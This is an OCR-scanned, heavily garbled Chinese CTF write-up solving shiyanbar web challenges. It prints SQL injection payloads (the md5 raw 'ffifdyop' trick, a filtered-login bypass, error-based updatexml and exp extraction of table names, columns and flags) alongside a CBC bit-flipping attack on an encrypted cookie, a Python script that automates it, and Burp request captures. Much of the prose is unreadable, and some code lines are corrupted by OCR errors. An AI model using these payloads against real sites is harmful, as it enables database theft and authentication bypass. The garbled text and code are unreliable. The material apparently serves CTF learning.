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X EARS:  php BUEFE

JRSCHERE:  hitps/www.cnblogs.com/weipinggong/p/10782652. html
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2019-04-28

MEL E6E3%  4ME: 10 fBES%: https//blog.csdn.net/March97/article/details/81222922
fRRBEEEE:  httpy/ctfS.shiyanbar.com/web/houtai/ffifdyop.php
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BEEMIEG, RIER

1 <!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = "".md5($password,true)."";
$result=mysqli_query(S$link,$sql);
if(mysqli num rows($result)>0){
echo 'flag is . $flag;
)
else{
echo "FiG4ER!";
b >
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md5($password, true) A FEFEsqEN f, ZERBEI/ER T

#iE= | PHPERTE v % HR R
1 <%php ‘orogléeelneebL
2 echo 77 mdA T Ffifdyop”, truel .7
Decho 276f722736¢95d992921722cf9ed621c
4 echo *7. mdd 0" ffifdyop’ ). 7
5 echo “nin”; . . .
4 echo “SELECT * FEON admin WHERE username = ’ admin’ and SELECT*FR?M'admln WHERE u'semame = "admin’ and
T paszzword = ' .mdS (" ffifdyep’, true). 7T password = "or'6919 reob-
B o

WMRFEAN TR B L md5( XXX true) N 2 JFHSEREE Cor'+HF, BIMMEH —MsqiENIER. R H %
HRE KT RIS RE TR “fidyop”
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ZFAFREAME—, RELEmdS( XXX true) N Z 5K REE Cor+H7 BT R ML), £Fflag.

MHE2. FERRERE  fE: 50
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R R T A
B Ciphertext Ciphertext Ciphertext
ETTTTTTTTTTT CITTTTTTTTTTT] (OTTTTITTTTTTT]
bleck cipher bleck cipher block cipher
Key decryption Key decryption Key decryption
Initialization Vector (IV} Z
T ] —
CITTTTTTTTTT1 A ETTTTTTTTTTT] OTTTTTITTTTT]
Plaintext Plaintext Plaintext

Cipher Block Chaining (CBC) mode decryption e REdd S

EFEREBAC=A
RiERBIZHEKER C=AB ; CAC=A"B"C=0


http://www.shiyanbar.com/ctf/2037

RIAFIH BAXAA)AC =X (XABRENEBRERER ;
KBHES (XMA) REUE B S 5185wt T LA A2 B B SO BRATTHE R 1 745X

I PRI AR A, AR NS THE), A RAATFIEBRIEMEAATEERELinit $id, 0K, 0.
Step1
Rz T HIEA:

Go Cancel < | > | Target: http:/ictf5.shiyanbar.com | || 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | XML
POST /web/jiandan/index.php HTTP/1.1 " HTTF/1.1 200 OK "
Host: ctf5.shiyanbar.com - Date: Sun, 28 Apr 2019 13:14:04 GHT -
User-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4: rv:g6.0) Server: Apache/2.4.l18 (Win3Z) OpenSSL/Ll.0.2e PHP/5.3.29
Gecko/2Z0100101 Firefox/E6.0 ¥-Powesred-By: PHP/5.3.29
Accept: tips: test.php
text/html, application/xhtml+xml, application/xml;q=0.9,*/ *;q=0.8 Set-Cookie: iv=fwgovolTX1ZIlczlkHpEX4g%3D%3D
Aocept-Language: Set-Cookie:
zh-CH, zh; q=0.8, zh-TW; gq=0.7, zh-HE; q=0.5,en-US;q=0.3,en; gq=0.2 cipher=%2EBC40)7hli7T0mlgTxynIvgWi4iPnVGGLWErsZFetoBhAgs3D
Aocept-Encoding: gzip, deflate Content-Length: 35
Referer: http://ctf5.shivanbar.com/weh/jiandan/index.php Feep-Alive: timeout=5, max=100
Content-Type: application/x-www-form-urlencodsd Connection: Keep-Alive
Content-Length: 18 Content-Type: text/html
DHT: 1 i
Connection: keep-alive O0<hl»><center>Helle!</centers></hl>
Upgrade-Insecure-Requests: 1
id=ll&submit=Login

wHEid=11 (FA%, FmEEEMIss# HTERisqliEs)) . IR$G4HEE TivAicipher, REHCTHHE—T
Frotb 2 Ja 45 R

4] BT &;E= PHP E£TH v

1 <iphp a:1:{s2:"id";s:2:7117;)
2 fid="117,

3 $info= array(’id’=>%id);

4 echo serialize(finfa);

9 echo “nininininin;

ZRAN: als2id"s:2:"11"}
Step2

161 byte h—4, #HATHA:
BLOCK#1: a:1:{s:2:"id";s:
BLOCK#2: 2:"11";}

et cipher F FIBLOCK#1 I S, HSBLOCKRMIMBE G R N2 14", ), KPS+ 1ER
¥,07.



<?php

$id="11";

$info= array('id'=>$id);

echo serialize($info);

echo "\n\n";
$cipher="%2BC4Qj7h1i7YOm1gTxynIvghe4jPnVGGLWKr%2FetoBhAg%3D" ;
$cipher=urldecode($cipher);
$cipher=base64_decode($cipher);

echo $cipher;

echo "\n\n";
$cipher[4]=chr(ord($cipher[4])~ord('1" ) ord('#"));
$cipher=base64_encode($cipher);
$cipher=urlencode($cipher);

echo "$cipher\n";

?>

Pilco=ill| 5= || PHP tE2TE v = bR

<7php a:l:{s:2:7id"s:2:7117)
Fid="11";

$info= array("id' =:$id);
echo serialize(Binfol .
zcho M %2BCAQj6pli7YOM1gTxynIvgWO4jPnVGGLWK%2FetoBhAg%3
$cipher="525C401 Th11TT0nle TaynTveW04 PrVGGLuKrh2Fe toBhaghaD” Qbpli7YOm1ghynlvgWo4iPnVGGLwK%2FetoBhAg
$cipher=urldecode (fcipher) ; D

$oipher=bazefd_decode ($cipher)

9 echo $cipher;

10 echo “nhn”:

11 $cipher [4]=chr (ord($cipher [4]) ord " 1) Toxd " #°));

12 $cipher=hazefid_encode ($oipher)

15 $cipher=urlencode ($cipher) ;

14 echo “feipherin®:

15 >

0106c0040X10)T|0930Tad000z0r0l

[ I e TS RS

B3 K cipherfti A %2BC4Qj6pli7YOm1gTxynivgWO04jPnVGGLWKr%2FetoBhAg%3D

fE XA ~cipherffif, ivAZ, post#iiEf: (FEF=ZERE K T BFTHE A h e 0

Go Cancel < | > Target: http:/ictf5.shiyanbar.com | | | 7

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTML]'Render]
GET /web/jiandan/index.php HTTF/L.1 A HTTF/1l.1 200 OE A
Host: ctf5.shivanbar.com - Date: Sun, 28 Apr 2015 13:39:37 GMT -
User-Agent: Mozilla/5.0 (Windows NT €.3; WOWE4:; rv:g6.0) Server: Apache/2.4.18 (Win3Z) OpenSSL/1.0.2e PHPF/5.3.29
Gecko/Z0100101 Firefox/€6.0 ¥-Powered-By: PHF/5.3.29
Aocept: tips: test.php
text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0. Content-Length: 77
8 Feep-Alive: timeout=5, max=100
Aocept-Language: Connection: Keep-Alive
zh-CH, zh;q=0.8, zh-TW;gq=0.7, zh-HE; q=0.5, en-U3; gq=0.3,en; gq=0.2 Content-Type: text/html
Aocept-Encoding: gzip, deflate
Connection: keep-aliwve DD<p>hase64_decode['KoiBf4nSlKFkT76h+vUryjIGIjEjIth'] can't
Cookie: iv=HHIAST4ryCrrI%ZBmMbTeZICg%3D%3D; unserialize</p>
cipher=%IBC40JEpli7Y0mlgTxynIvgWi4iPnVGELwErsZFetoBhigs3D
Upgrade—Insecure-Requests: 1

MR g5 8RB EE R : TIEIEH KPS . BOABATA T REISCR2M B T #3081, # X8It BAH
JE 45 BV J5 H45 21 B SCHRA R BLIS,  TiE#EAT P .

Step3

BT 2R BE, S E—P15 280 Xcipherff Fkey### J5 R AT R EVEH AT E B Z B Rm, TATH B
NA, FIRE, X R ELRD B SCERATIRONB, R AT &



Cipher -> L—#53lavEx
OTTTTIITTTT]

li

block cipher
decryption

Key —

A

old_IV
new_IV

E_'5/7’I HEREERRERRRAN
=EiT8H Plaintext B ->#.i38Axi1
C -=1FE8AwiR]

FEREEN Arold V=B
WRiESSREHEKPER Arold_IVAB=0
A’told_IVABAC=C

ABEREHMnew_IV=old_IVABAC, &3izHZ)5 AMnew_IV=C

BATBE LS B SCR IER TRt RBLOCK#: a:1:{s:2:"id"s: , WiZIEHBICHNC

BMATEBRV, SHFEERTFHHEHKnew IV 5t aEER NS — MEIEHUS B8 SRSt IEH I8 3

@i AR E A, RS T ADHI X base64, DARJBAE MMV, KIE LA R HE:

<?php
$iv

"HH1ASI4ryCrrI%2BmMbTeZCg%3D%3D";

$iv = urldecode($iv);

$iv = base64_decode($iv);
$block_wrong="KoiB/4AS1KFkT76b+vUryjI6IjEFIjt9";
$block_wrong=base64_decode($block_wrong);
$block_right="a:1:{s:2:\"id\";s:";

for ($i=0;%$i<16;%i++)

{

$iv[$i] = chr(ord($block_wrong[$i]) ~ ord($iv[$i]) ~ ord($block_right[$i]));
}

$iv=base64_encode($iv);

$iv=urlencode($iv);

echo "$iv\n";

?>

RN VBvWXVKIrM1Tj5ztinB%2Bg%3D%3D
R ZANVE BB P Kiv, BIRER:



Go Cance < | Target: http:i/ctfs.s hiyanbar.com L«&‘J EJ

Raw | Params | Headers | Hex Raw | Headers | Hex | XML
GET /web/jiandan/index.php HTTP/1.1 " HTTF/1.1 200 OK
Host: ctf5.shivanbar.com o Date: Sun, 28 Apr 2019 13:52:29 GMT
User-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; rv:g6.0) Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
Gecko/2Z0100101 Firefox/E6.0 ¥-Powered-By: PHP/5.3.29
Aocept: tips: test.php
text/html, application/xhtml+xml, application/=xml;q=0.9, */ *;q=0. Content-Length: 41
8 Feep-Alive: timeout=5, max=100
Aocept-Language: Connection: Keep-Alive
zh-CH, zh; q=0.8, zh-TW; gq=0.7, zh-HE; q=0.5,en-US;q=0.3,en; gq=0.2 Content-Type: text/html
Aocept-Encoding: gzip, deflate
Connection: keep-alive O0<hl><center>Helle!rootzz</center></hl>
Cookie: iv=VEBvwiXVEJrmlTiS5ztfnE%ZEBg%3D%3D;
cipher=%IBC40JEpli7T0mlgTxynIvgWi4iPnVGGLWErsZFetoBhigs3D
Upgrade-Insecure-Requests: 1

ENBI
& Ja I EEIRBIEN SR g S AR T L& Siflag T
THRSEZEMA: https://blog.csdn.net/LeeHDsniper/article/details/81089480#

import requests

import re

from base64 import *

from urllib import quote,unquote

url="http://ctf5.shiyanbar.com/web/jiandan/index.php"

def find_flag(payload,cbc_flip_index,char_in_payload,char_to_replace):

payload = {"id":payload}

r=requests.post(url,data=payload)

iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0]

cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0Q]

cipher=unquote(cipher)

cipher=b64decode(cipher)

cipher_list=1list(cipher)

cipher_list[cbc_flip_index] =
chr(ord(cipher_list[cbc_flip_index])”ord(char_in_payload)”ord(char_to_replace))

cipher_new="'"'.join(cipher_list)

cipher_new=b64encode(cipher_new)

cipher_new=quote(cipher_new)

cookie = {'iv':iv, 'cipher':cipher_new}

r=requests.post(url, cookies=cookie)

content = r.content

plain_base64=re.findall("base64 _decode\(\'(.*?)\"\)",content)[0]

plain=b64decode(plain_base64)

first_block_plain="a:1:{s:2:\"id\";s:"

iv=unquote(iv)

iv=b64decode(iv)

iv_list=list(iv)

for i in range(16):

iv_list[i]=chr(ord(plain[i]) ~ ord(iv_1list[i]) ~ ord(first_block_plain[i]))

iv_new="'"'.join(iv_list)

iv_new=b64encode(iv_new)

iv_new=quote(iv_new)

cookie = {'iv':iv_new, 'cipher':cipher_new}

r=requests.post(url, cookies=cookie)

return r.content
def get_columns_count():

table_name=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i‘, 'g', 'k', 'l', 'm', 'n', ‘o
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A*, 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G',

e



https://blog.csdn.net/LeeHDsniper/article/details/81089480#

N, U, P, g, KT, ST, T, U, VT, W, KT, Y, LT
for i in range(len(table_name)):
payload="(select 1)a"
if i==0:
payload = "@ 2nion select * from("+payload+");"+chr(0);
content=find_flag(payload,6,'2','u")
resp=re.findall(".*(Hello!)(\d).*",content)
if resp:
print "table has 1 column and response position is 1"
return payload
else:
print "table does not have %d columns" % (i+1)
continue
for t in range(i):
payload=payload+" join (select %d)%s" % (t+2,table_name[t+1])
payload = "@ 2nion select * from("+payload+");"+chr(0);
content=find_flag(payload,6,'2','u’)
resp=re.findall(".*(Hello!)(\d).*",content)
if resp:
print "table has %d column and response position is %s" % (i+1l,resp[0][1])
return payload
else:
print "table does not have %d columns" % (i+1)
payload=get_columns_count()
print payload
print find_flag('12',4,'2"','#")
print find_flag('® 2nion select * from((select 1)a);'+chr(®),6,'2"','u")
print find_flag('® 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u")
print find_flag('® 2nion select * from((select 1)a join (select group_concat(table_name) from
information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(e),7,'2','u")
print find_flag("® 2nion select * from((select 1)a join (select group_concat(column_name) from
information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(@),7,'2"','u")
print find_flag("@ 2nion select * from((select 1)a join (select value from you_want)b join (select
3)c);"+chr(0),6,'2"','u")
{E#: LeeHDsniper
RJE: CSDN
JR3C: https://blog.csdn.net/LeeHDsniper/article/details/81089480
WA B A SOt AR, HHOEM iSR!

?%?'Jﬂagﬂil

root@kali: ~/ £
1 STHR(F) 4REB(E) EE(V) Z(S) £2Im(T) HENH)

1~/ 1# python a. py
<hl1><center>Hel | o! f| ag{ c42b2b758a5a36228156d9d671c37f 19} </ center></h1=
.~/ i+ |

B H 3. Eki— T are??  E: 20

fRREEERE:  http://ctf5.shiyanbar.comyweb/wonderkun/web/index.htm
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SWIEERESE

username username

password | password
e

P TR A AR B A AT B 3 5

1
/style>

<body>
<div class="main”>
<div class="header” >EEILEFHREF/ div>
<form method="post” action="./login. php”>
{div class="input-zroup”>
<{span class="input-group-addon” id="sizing-addon?”>username</span>

{input type="text” class="form-control” placeholder="username” aria-describedby="sizing-addon?” name="usernams">
divy

{div class="input-zroup”>
<{span class="input-group-addon” id="sizing-addon?”>password</span>

{input type="password” c¢lass="form-control” placeholder="password” aria-describedby="sizing-addon?” name="password”>
<fdiv>

<button type="submit” class="btn btn-primary button * >EfE</button>
</ form>

<fdiv>

b
REENEFIAEZRHETSQNEN,

13 FiZiEA) MR ' union select * from a where 1-1+1/1 or 1=1| 1 join 1/* #%00

RIBTIEES

usermame " union select * from a where 1-1+1/1 or 1=1 1 join 1/* #%00
password ISR ENEERNNRNRORERIRIRIRIRIRIRRRRRRRRRRRERERERe
S

AR, I=AAs ! !

hint :
username:' from a where 1-1+11 1=1 1 join 1 %00
password:' from a where 1-1+11 1=1 1 join 1 %00

username passwo rd

RILIE T LU 45
| ,—,or,union, #, select,*,/
HIE ) sqliE N TR A B Gt X B 77
R G & Ksqligf) N select * from table where username= ‘username’ and password='password’

1% FH B sqliE £) B {345 username= ‘username’ Alpassword="password’ X Fi %k Rk Bl 4 BN E



ATLMER 0'='0 , $KfEflag

cti{51d1bfefbe5atc240651 3ee8f52283e7}

hint :
username:0'="0
password (0'="0

username password

hell02w 69bc7cf459bcff03625939193eci 1ele
wOd3rkun dbb9111e4ed03e2d4021c3c3b0act 49
mutOr3nl 86646490336911c0f3c6e07cc197d22¢

BAFHAME—, REFE X=X (XHERZRF, ATLLRAZE)

BHA4. T RREREEN ME: 35

fEB27%: https://blog.csdn.net/qq_35078631/article/details/79221618

https://blog.csdn.net/xingyyn78/article/details/79737070

Please login!

tips:post username and password...

ITIF R B B3R 7 1 F posty AR A 7 4 MRS, Flburpty & HidE 85 1R

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

POST /web/baocuo/index. php HITP/1.1

Host: ctfb. shiyanbar. com

User—Agent: Mozilla/5.0 (Windows NT 6.3; WOWG4, rv:66.0)
Gecko/20100101 Firefox/66.0

Aecept:

text/htnl, application/xhtul+znl, application/xnl;g=0.9, /% q=0. 8
Accept-Language

zh—CN, zh; g=0. 8, zh-TW,; g=0. 7, zh-HEK ; g=0. 5, en-US; g=0. 3, en; g=0. 2
Accept-Encoding: gzip, deflate

Referer: http://ctf5. shiyanbar. com/web/haocuo/index. php
Content-Type: application/z-www—form—urlencoded
Content-Length: 30

Comnection: keep—alive

Upgrade-Insecure-Requests: 1

username=adninkpassword=123456|

AREETIRR T JEESQLEWIESR) <!-- $sql="select * from users where username='$username' and

password="$password"; -->

HITP/1.1 200 OK

Date: Mon, 29 Apr 2019 09:05:37 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Fowered-By: FHP/5.3.29

Content—Length: 133

Keep—Alive: timeout=5, max=100

Comnection: Keep-Alive

Content-Type: text/html

<hrr<center><h2*Legin failed</h2></center>
I— §sql="select * from users where username=" $username’ and
password="§password” ", ——>

MR H 3R KIIREEEN, A burprhintruderti B 2 iR i

burpsuitefjintruderii sk f& /i
+FMySQLIRAEEN
12Fh R EEVEN+ T RETE )

L



http://www.shiyanbar.com/ctf/2011
https://blog.csdn.net/u011975363/article/details/79874971
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
https://www.jianshu.com/p/bc35f8dd4f7c

j Results T Target T Positions T Payloads T Options ]

| Fitter: Showing all items

Request 4| Postion | Paylboad | status |Error | Timeout | Length
7 1 select 200 m] O 396
72 1 insert 200 o [ 3=
73 1 as 200 o o 356
74 1 or 200 o o 356
75 1 procedure 200 O O 356
76 1 limit 200 m] o 2713
7 1 order by 200 O O 273
78 1 asc 200 ] ] 356
79 1 desc 200 o o 356
20 1 delete 200 o o 356
81 1 | update 200 O O 35
82 1 distinct 200 O O 3%
a3 1 having 200 O O 356
a4 1 truncate 200 O O 356
a5 1 replace 200 O O 356
25 1 like: 200 ] ] 273

[

j Results T Target I Positions I Payloads ]'Opﬁnns ]

| Fitter: Showing all tems.

Request 4 | Position | Payload | Status | Error | Timeout | Length | Comment
0 200 O O 381 baseline request
1 1 floor 200 o o 23

bed 1 extractvalug 200 O O 356

3 1 updatexml 200 O O 356

4 1 geometrycollection 200 O O 356

5 1 multipoint 200 O O 356

(3 1 polygon 200 O O 356

7 1 multipolygon 200 O O 356

a 1 linestring 200 O O 356

9 1 multilinestring 200 O O 356

10 1 exp 200 m] o 355

1 1 . 200 m] o 361

12 1 aori=1— 200 m] o 273

13 1 "a™or 1=1-" 200 O O 273

14 1 ora=a 200 O O 273

15 1 a'or'a’="a 200 ] J 273

usernamef1 S Fupdatexmli% F 255, HEZE TRIES.

passwordZ#, B&EEHEES, BELXEHETES.

[l 38 5T updatexmi 7E 77 fi JEXPath =B 7= 77 B B i ds IR T R ERE E..
UPDATEXML (XML_document, XPath_string, new_value);

FH—ASH: XML_document Stringt& R, AXMLIEXT 5 KL FR o

F_/NSH. XPath_string (Xpath# NI FRFH) , WERA T EXpathiBik, 7] LAEMN EERHFE.

B=ASH: new_value, Stringtg=, BHIEIR BN E XKML

IR A P 4 Fin Aupdatexml,  FEHE AR R Y 8RR, AT DU Fupdatexmli®i #. i F select database() &k
RIBEIRES

HiE—
SREVEE P4 -
username=1' and updatexmil/*&

password="/(1,concat(0x7e,(SELECT database()),0x7¢e),1)or'1



<br>XPATH syntax error: '~error_based_hpf~'

Request Response

J Raw T Params T Headers | Hex Raw | Headers | Hex

POST /web/baccuo/index. php HITP/1.1 A HTTR/1.1 200 0K

Host: ctfh. shivanhar. com r Date: Mon, 29 Apr 2019 09:42:03 GMT

User-Agent: Mozilla/5.0 (Windows NT 6.3:; WOWG4: rv:66.0) Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.20
Gecleo/20100101 Firefox/66.0 ¥-Powered-BEv: PHP/5.3.29

Accept: Content—Length: 43

text/html, application/xhtml+xmnl, application/xzml;g=0. 9, #/% ¢=0.8 Keep—Alive: timeout=5, max=100

Arcept—-Language: Connection: Keep—Alive

zh—CH. zh:g=0. 8, zh-TW. g=0. 7, zh-HE ; g=0. 5, en-US; g=0. 3, en: q=0. 2 Content-Type: text/html

Accept-Encoding: gzip, deflate

Referer: http://ctfd. shivanbar. com/web/baocuo/ index. php <hr*XPATH syntax error: ° error_based_hpf

Content—Type: application/z—www—form—urlencoded
Content-Length: 83

Connection: keep-alive
Upgrade-Insecure-FRequests: 1

username=1" and upda‘texml/*l
Epassword=#/ (1, concat (0xTe, (SELECT database()), 0xTe), 1)or’ 1

RK A
username=1' and updatexmi/*

&password="/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where !
(table_schema<>'error_based_hpf") ),0x7e),3)or"1

<br>XPATH syntax error: '~ffll44jj,users~'

Go Cancel < |v > | Target:

Request Response

J Raw T Params I Headers | Hex Raw | Headers | Hex

POST /web/baccuo/ index. php HTTP/1.1 & HITP/1.1 200 CK

Host: ctfb. shiyanbar. com r Date: Mon, 29 Apr 2019 08:46:35 GMT

User-Agent: Mozilla/5.0 (Windows NT 6.3:; WOWG4: rv:66.0) Server: Apache/Z2.4.18 (Win32) OpenS5L/1.0.2e PE
Gecko/20100101 Firefox/66.0 ¥-Powered-By: PHP/5.3.20

Accept: Content—Length: 42

text/html, application/xhtml+xnl, application/zml; q=0.9, ¥/%;g=0.8 Eeep-Alive: timeout=5, max=100

Accept-Language: Commection: Keep—Alive

zh-CN, zh;g=0. 8, zsh-TW; g=0. 7, sh-HK ; g=0. 5, en-US; g=0. 3, en; g=0. 2 Content-Type: text/html

Accept-Encoding: gzip., deflate

Referer: http://ctfh. shivanbar. com/web/baocuo/index. php <br>XPATH syntax error: ~ ff1144jj,users

Content-Type: application/z—www—formurlencoded
Content-Length: 177

Commection: keep—alive
Upgrade-Insecure-Requests: 1

username=1" and updatexml/#*
kpassword=#/ (1, concat (0x7e, (SELECT group_concat (table_name) from

IKREF 44 :
username=1' and updatexmi/*
&password="/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where

I(table_name<>'ffll44jj') ),0x7¢e),3)or'1

<br>XPATH syntax error: '~value~'



< |v > |

Cancel

Go
Request

J Raw I Params ]' Headers | Hex

Target: hitp:lictfb.sh

Response

Raw | Headers | Hex

POST /web/baccuo/index. php HITP/1.1

Host: ctfh. shivanbar. com

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW6&4: rv:66.0)
Gecko/20100101 Firefox/66.0

Accept:

text/htnl, application/zhtul+zml, application/zml; q=0. 9, */ . q=0.8
Accept-Lanpuage:

zh—-CH, zh;g=0. 8, zh-TW; g=0. 7, zh—HE ; g=0. 5, en-US ; g=0. 3, en; g=0. 2
Accept—Encoding: gzip. deflate

Referer: http://ctfh. shivanbar. com/web/bascue/index. php
Content-Type: application/z—vwww—form—urlencoded
Content—Length: 168

Comnection: keep-alive

Upgrade—Insecure-Requests: 1

username=1" and updatexml/#
Epassword=+/ (1, concat (0x7e, (SELECT group_concat (column_name) from

information_schema. columns where ! (table_name<>" ff114455")
), 0xTel, 3or’ 1

KT BUE:

username=1' and updatexml/*

A HITP/1.1 200 OK

Date: Mon, 29 Apr 2019 09:47:37 GHT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHF/5.3.290
X¥-Powered-By: PHP/5. 3.29

Content—Length: 33

Eeep—-Alive: timeout=35, max=100

Comnection: Keep-Alive

Content—Type: text/html

2

<hr>XPATH syntax errer: ' wvalue

&password="/(1,concat(0x7e,(SELECT value from ffll44jj),0x7¢e),3)or'1

<br>XPATH syntax error: '~flag{errOr_b4sed_sqli_+ hpf}~'

< | v > |

Cancel

Go
Request

J Raw T Params I Headers | Hex

Target: httpe//ctfs.s hiyanbar.c

Response

Raw | Headers | Hex

POST /weh/baocus/index. php HTTF/1.1

Host: ctf5. shivanbar. com

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOWG4: x+v:66.0)
Gecko/20100101 Firefox/86.0

Accept:

text/htnl, application/zhtml4znl, application/=nl;q=0.9, ¥ /% q=0.8
Accept-Language:

zh-CH. zh:g=0. 8, zh-TW; g=0. 7, zh-HK ; g=0. 5, en-US ; g=0. 3, en; g=0. 2
Accept-Encoding: gzip., deflate

Referer: http://ctf5. shivanbar. com/web/baocuo/ index. php
Content-Type: application/z—vwww—form—urlencoded
Content—Length: 97

Commection: keep-alive

Upgrade-Insecure-Requests: 1

e

username=1" and updatezml/*
kpassword=+/ (1, concat (0xTe, (SELECT value from ££11443j),0x7e), 3)or’ 1

FEZ . FIHexpHEEEAN

username=1'and exp/*
&password="/(~(select * from (select value from ffll44jj)x))or'1

HITF/1.1 200 CK

Date: Mon, 28 Apr 2019 09:458:24 GNT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.20

Content—Length: 56

Keep-Alive: timeout=5, max=100

Commection: Eeep—Alive

Content—Type: text/html

<hr>XPATH syntax error: ' flag{errOr_b4sed_sqli_+_hpf} ™’



Go Cancel < v > |

Request

J RawI Params I Headers | Hex

Target: hitp://ictfs.shiy:

Response

Raw | Headers | Hex

POST /weh/baocuo/index. php HITP/1.1

Host: ctff. shiyvanbar. com

User—Agent: Mozilla/5.0 (Windews NT 6.3; WOWG4: rv:G6.0)
Gecke/20100101 Firefox/66.0

Accept:

text/htnl, application/xhtnl+xnl, application/=ml;q=0.9, */*;q=0. 8

Accept-Lanpguage:

zh~-CH, zh;g=0. 8, zh—TW, q=0. 7, zh—HK ; g=0. 5, en-US; g=0. 3, en; g=0. 2
Accept-Encoding: gzip, deflate

Referer: http://ctfb. shivanbar. con/web/baocue/index. php
Content-Type: application/z-www—form—urlencoded
Content—Length: &7

Comnection: keep—alive

Upgrade-Insecure-Requests: 1

username=1" and exp,/#

kpassword=#,/ (" (select * from (select value from ftllalaljj)x))or’l

3, T :https://www.cnblogs.com/weipinggong/p/10782652.html

L

HITP/1.1 200 OK

Date: Mon, 29 Apr 2019 09:51:17 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/E.3.20
X¥-Powered-By: PHR/5.3.29

Content-Length: 95

Keep—Alive: timeout=5, max=100

Commection: Keep—Alive

Content-Type: text/html

<hr*DOUBLE walue is out of ramnge in “exp( ((select
"flag {exrrOr_bkdsed_sqli_+ hpf}’ from dual)))’
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